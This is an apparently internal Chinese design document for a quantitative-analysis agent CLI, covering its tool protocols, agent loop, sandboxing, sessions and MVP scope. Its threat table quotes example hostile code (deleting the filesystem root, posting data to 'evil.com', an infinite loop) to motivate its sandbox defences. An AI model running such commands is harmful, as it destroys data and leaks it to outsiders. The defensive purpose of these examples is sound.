量化分析 Agent CLI

工作范围:CLI 层架构、Agent 引擎、工具系统、安全模型、会话管理。不涉及 Web/桌面分发。


1. 核心洞察

量化 agent 的唯一特殊能力:在沙箱里执行它自己写的代码。
通用 agent 的 tool 是预定义函数签名;量化 agent 的 tool 的参数本身就是代码。

这意味着:


2. 系统架构

┌──────────────────────────────────────────────┐
│  CLI Layer (rich / textual / prompt_toolkit) │
│  自然语言输入 → 流式渲染 Markdown + 表格 + 图表 │
├──────────────────────────────────────────────┤
│  Agent Core (Python)                         │
│                                              │
│  ┌──────────┐   ┌───────────┐   ┌──────────┐│
│  │ Planning  │   │ Coding    │   │ Review   ││
│  │ 拆解任务   │──→│ 生成代码   │──→│ 校验输出  ││
│  │ 选工具    │   │ 执行+迭代  │   │ 重试/修正 ││
│  └──────────┘   └───────────┘   └──────────┘│
│                      │                       │
│            ┌─────────┴─────────┐             │
│            ▼                   ▼             │
│  ┌──────────────┐   ┌──────────────────┐     │
│  │ Data Tools   │   │ Code Runtime     │     │
│  │ (MCP 兼容)   │   │ (自定义协议)      │     │
│  │              │   │                  │     │
│  │ search_data  │   │ run_python(code) │     │
│  │ fetch_data   │   │ · 沙箱隔离       │     │
│  │ list_sources │   │ · 持久 session   │     │
│  └──────────────┘   │ · 流式输出       │     │
│                      │ · 图表渲染       │     │
│                      └──────────────────┘     │
├──────────────────────────────────────────────┤
│  Session Context                             │
│  挂载数据集 · 变量命名空间 · 因子定义 · 回测结果│
└──────────────────────────────────────────────┘

2.1 为什么 Data 层用 MCP,Runtime 层不用

维度Data ToolsCode Runtime
协议MCP(行业标准)自定义 JSON-RPC(轻量)
原因可复用生态(未来换数据源零成本)MCP 的强类型 schema 对代码字符串无意义
工具粒度细:每个操作一个 tool粗:一个 run tool = 无限能力
状态模型无状态(每次调用独立)有状态(session 内变量持久)
安全边界可信(开发者写的代码)不可信(LLM 生成的代码),需要沙箱

3. Agent Loop 设计

3.1 核心循环

用户输入: "找出沪深300市盈率最低的10只股票,按行业分组统计,画图"

┌─────────────────────────────────────────────┐
│ STEP 1: Plan                                │
│   LLM 输出:                                  │
│   - 需要数据: 沪深300成分股 + PE + 行业分类    │
│   - 需要工具: search_data, fetch_data         │
│   - 步骤: 取数→过滤→切片→画图                  │
├─────────────────────────────────────────────┤
│ STEP 2: Act (tool calls)                    │
│   search_data("沪深300成分股")               │
│   → 返回: akshare.index_stock_cons("000300") │
│   fetch_data("index_stock_cons", "000300",   │
│              fields="code,name,pe,industry") │
│   → 返回: DataFrame(300 rows × 4 cols)      │
├─────────────────────────────────────────────┤
│ STEP 3: Code + Execute                      │
│   LLM 生成:                                  │
│   result = df.nsmallest(10, 'pe_ttm')        │
│   grouped = result.groupby('industry').size()│
│   fig = grouped.plot.bar()                   │
│   run_python(code) → 表格 + 图表              │
├─────────────────────────────────────────────┤
│ STEP 4: Review & Respond                    │
│   检查: 输出 10 行? 图表正确?                  │
│   不对 → 修正后重新 run                       │
│   对的 → 渲染 Markdown 表格 + 图表给用户       │
└─────────────────────────────────────────────┘

3.2 三个子 Agent 的职责

角色输入输出System Prompt 要点
Planner 用户自然语言 + 会话上下文 结构化任务计划 + 所需数据清单 "你是量化策略分析师。输出 YAML 格式的计划,列出数据源、计算步骤、预期输出。"
Coder 任务步骤 + 可用数据 schema Python 代码(pandas/numpy/mpl) "你是 Python 量化开发者。数据库里有这些 DataFrame,写出分析代码。只用 pandas/numpy/matplotlib。不要用任何 IO 操作。"
Reviewer 代码输出 + 预期结果描述 通过 / 修正后的代码 "你是代码审查者。检查输出是否符合预期。行数对? 数值范围合理? 类型正确? 给出 pass 或修正建议。"
风险 多 Agent 循环的延迟
每个子 Agent 都是一次 LLM 调用。最坏情况:Plan → Code → Review 失败 → Re-Code → Re-Review = 5 次调用。
缓解:简单任务跳过 Planner/Reviewer(直接 Coder 一次搞定);并行化非依赖步骤。

4. 工具系统详细设计

4.1 Data Tools(MCP 兼容)

# MCP Server: akshare-provider
# 暴露以下 tools:

{
  "name": "search_data",
  "description": "搜索可用的数据集。输入关键词,返回匹配的数据集 ID 和描述。",
  "parameters": {
    "keyword": "string  // 如 '沪深300', '可转债', '宏观经济'"
  },
  "returns": "[{id, name, description, schema, source}]"
}

{
  "name": "fetch_data",
  "description": "拉取指定数据集。",
  "parameters": {
    "dataset_id": "string",
    "params": "object  // 如 {symbol: '000300', start: '2024-01-01'}",
    "limit": "int     // 默认 10000"
  },
  "returns": "{columns: [str], dtypes: {col: type}, rows: int, preview: [[...]]}"
}

{
  "name": "list_sources",
  "description": "列出所有已配置的数据源及其状态。",
  "returns": "[{name, status, datasets_count}]"
}
设计决策 fetch_data 不返回完整数据
返回 schema + 前 5 行预览,而不是全部 300 行数据。理由:
(1) 全量数据通过 context 传给 LLM 会爆炸(token 和延迟)
(2) LLM 不需要"看"数据,它只需要知道列名和类型就能写代码
(3) 真正的数据在 Code Runtime 的 session 里,代码执行时直接访问

4.2 Code Runtime(自定义协议)

# 自定义 JSON-RPC over stdio or HTTP

{
  "method": "run",
  "params": {
    "code": "df_result = df.nsmallest(10, 'pe_ttm')",
    "session_id": "sess_abc123",
    "timeout": 30
  },
  "returns": {
    "stdout": "string",
    "stderr": "string",
    "error": "string | null",
    "artifacts": [
      {"type": "dataframe", "name": "df_result", "shape": [10,4],
       "columns": [...], "preview": [[...]]},
      {"type": "image",   "path": "/tmp/plot_1.png", "format": "png"},
      {"type": "value",   "name": "_", "repr": "0.1523"}
    ]
  }
}

{
  "method": "list_vars",
  "params": { "session_id": "sess_abc123" },
  "returns": {
    "variables": [
      {"name": "df", "type": "DataFrame", "shape": [300, 4]},
      {"name": "df_result", "type": "DataFrame", "shape": [10, 4]}
    ]
  }
}

{
  "method": "reset",
  "params": { "session_id": "sess_abc123" },
  "returns": { "ok": true }
}

4.3 变量命名空间的自动挂载

Agent 写完代码后,Code Runtime 自动把 所有新创建的变量 注册到 session,下一次 Agent 写代码时直接用。LLM 通过 list_vars 了解当前状态:

# 第 1 轮:加载数据
run_python("df = load_csi300_data()")
→ variables: {df: DataFrame(300×15)}

# 第 2 轮:过滤(直接用 df,不需要重新加载)
run_python("low_pe = df[df['pe_ttm'] < 15]")
→ variables: {df: …, low_pe: DataFrame(42×15)}

# 第 3 轮:分组统计(直接用 low_pe)
run_python("result = low_pe.groupby('industry')['pe_ttm'].mean().sort_values()")
→ variables: {df: …, low_pe: …, result: Series(12)}

5. 安全模型

5.1 威胁清单

威胁例子严重程度
文件系统破坏import os; os.remove("/")致命
数据泄露requests.post("evil.com", data)致命
资源耗尽while True: pass / 分配 10GB 内存
供应链注入import malicious_package中(pip 白名单可控)
提示注入用户在数据里藏 instruction 劫持 agent 行为中(数据不应进入 system prompt)

5.2 三层沙箱

Layer 1: Python 进程隔离
  subprocess.Popen(["python3", "-c", code])
  ├─ 独立进程,崩溃不影响主进程
  ├─ 超时机制:signal.SIGALRM 或 subprocess timeout
  └─ 内存限制:resource.setrlimit(RLIMIT_AS, 512MB)

Layer 2: 系统级沙箱 (macOS: sandbox-exec, Linux: firejail / Docker)
  ├─ 只读文件系统:只挂载必要目录
  ├─ 限制网络:只允许白名单域名(数据源 API)
  ├─ 禁止子进程:禁止 exec/fork
  └─ CPU 限制:cgroups / nice

Layer 3: Python 级限制
  ├─ import 白名单:pandas, numpy, matplotlib, scipy, statsmodels
  ├─ 禁止 builtins:open, __import__, eval, exec, compile
  └─ RestrictedPython(可选):编译时 AST 检查

5.3 最小可行安全方案

MVP 不需要三层全做。 先做最容易实施的:
  1. subprocess + 30 秒超时 — 防死循环
  2. import 白名单检查(代码字符串里扫 import X)— 防危险模块
  3. Docker 容器执行 — 一次性隔离文件系统和网络
这三件事加起来不到 50 行代码,就能防住 95% 的真实威胁。

6. 会话管理

6.1 Session 生命周期

quanticli new "A股低估值策略研究"
  → session_id: "sess_20240723_a1b2c3"
  → 创建目录 ~/.quanticli/sessions/sess_20240723_a1b2c3/
     ├─ history.jsonl    # 每轮对话记录
     ├─ context.yaml     # 当前上下文(数据集、变量、中间结果)
     └─ artifacts/       # 图表、导出 CSV

quanticli resume sess_20240723_a1b2c3
  → 恢复会话:重新加载数据、重建变量命名空间
  → 用户继续提问

quanticli list
  → 列出所有历史会话

quanticli export sess_20240723_a1b2c3
  → 导出为 Markdown 报告 / Jupyter notebook

6.2 Context 压缩策略

量化会话很容易触达 LLM context 上限。两轮数据操作就可能产生大量文本:

# 实际情况:一个 DataFrame schema 就几百 token
"df 有 300 行 15 列:code(str), name(str), open(f64), high(f64),
 low(f64), close(f64), volume(i64), pe_ttm(f64), pb(f64),
 roe(f64), industry(str), market_cap(f64), …"

# 再加上代码和输出,三轮对话轻松破 4000 token

压缩策略:


7. 终端渲染

7.1 输出渲染能力矩阵

内容类型渲染方式依赖
普通文本 / Markdown rich Markdown 组件,流式追加 rich
DataFrame / 表格 rich Table,自动列宽、对齐 rich
柱状图 / 折线图 plotext Unicode 终端绘图 plotext
复杂图表 / K 线图 生成 PNG,Kitty/iTerm2 sixel 协议显示 matplotlib + imgcat
LaTeX 公式 Unicode 近似渲染 or 直接显示 LaTeX 源码 手动 or latex2unicode
代码块 rich Syntax 语法高亮 rich

7.2 流式输出的处理

LLM 输出是 token 流,但内容混合了文本和工具调用:

文本流: "好的," → "让我" → "分析" → "一下" → …
  → 逐 token 打印到终端(打字机效果)

工具调用(JSON 块): {"tool": "run_python", "code": "..."}
  → 显示为 [⚙ Running analysis...]
  → 拿到结果后追加表格/图表
  → 继续流式文本

实现要点:
  - LLM 响应用 SSE stream
  - 解析器判断当前 token 属于 text 还是 tool_call
  - text → 直接 print flush
  - tool_call → 缓冲完整 JSON → 执行 → 渲染 result

8. 配置文件设计

# ~/.quanticli/config.yaml

model:
  provider: anthropic     # anthropic | openai | local
  model: claude-sonnet-4-20250514
  # api_key: ${ANTHROPIC_API_KEY}   # 从环境变量读取

execution:
  sandbox: docker         # docker | subprocess | none
  timeout: 60             # 每次代码执行超时(秒)
  max_memory_mb: 512
  allowed_imports:
    - pandas
    - numpy
    - matplotlib
    - scipy.stats
    - statsmodels.api

data_sources:
  - name: akshare
    type: mcp
    command: ["uvx", "akshare-mcp-server"]
  - name: tushare
    type: mcp
    command: ["uvx", "tushare-mcp-server"]
    env:
      TUSHARE_TOKEN: ${TUSHARE_TOKEN}
  - name: local_csv
    type: directory
    path: ~/quant_data/

display:
  max_table_rows: 20
  max_column_width: 30
  chart_backend: unicode   # unicode | sixel | none
  theme: dark              # dark | light

session:
  storage_dir: ~/.quanticli/sessions/
  auto_save: true
  context_limit_tokens: 80000
  auto_summarize_threshold: 0.8   # 80% 触发压缩

9. MVP 范围

目标:2 周内可用的单文件原型。 不追求架构完美,只验证核心体验。

9.1 MVP 包含

组件范围技术
CLI 入口 quant "问题" 单次问答 argparse
Agent Loop 单 Agent,无 Planner/Reviewer 分工 自实现 thin wrapper over Anthropic/OpenAI SDK
Tool: run_python subprocess.run(["python3", "-c", code], timeout=30) 标准库
Tool: fetch_data 直接调 akshare,不包 MCP(走捷径) akshare pip 包
输出渲染 Markdown + 表格 + Unicode 柱状图 rich + plotext
安全 超时 + import 白名单检查 标准库

9.2 MVP 明确不做


10. 关键风险

风险影响缓解
LLM 写的分析代码有逻辑错误 用户信任崩塌 Reviewer Agent 校验 + 输出带置信度标签
数据源不稳定(akshare 上游挂) Agent 直接不可用 多 provider fallback + 本地缓存常用数据集
LLM context 不够装复杂分析 长分析中断 自动摘要压缩 + 分步执行(不一次全给 LLM)
执行速度慢(多轮 LLM 调用) 用户体验差 小模型做简单步骤 + 并行工具调用

11. 与竞品的差异化

竞品模式量化能力我们的差异
Claude Code / Cursor 通用 coding agent 能写 pandas 但不理解 finance 上下文 Finance-first system prompt + 数据源内置
通义千问 / Kimi 金融版 Chatbot,不能执行代码 能聊不能算 我们是 agent,能执行代码
QuantConnect / 聚宽 Web IDE + 回测平台 功能强但学习曲线高 自然语言交互,零学习成本
Jupyter + Copilot 手动 notebook + AI 补全 灵活但不自动化 agent 自主规划执行,不是补全
定位 我们的位置在 "能执行代码的量化 Copilot""专业量化平台" 之间——比 Copilot 更自主,比量化平台门槛更低。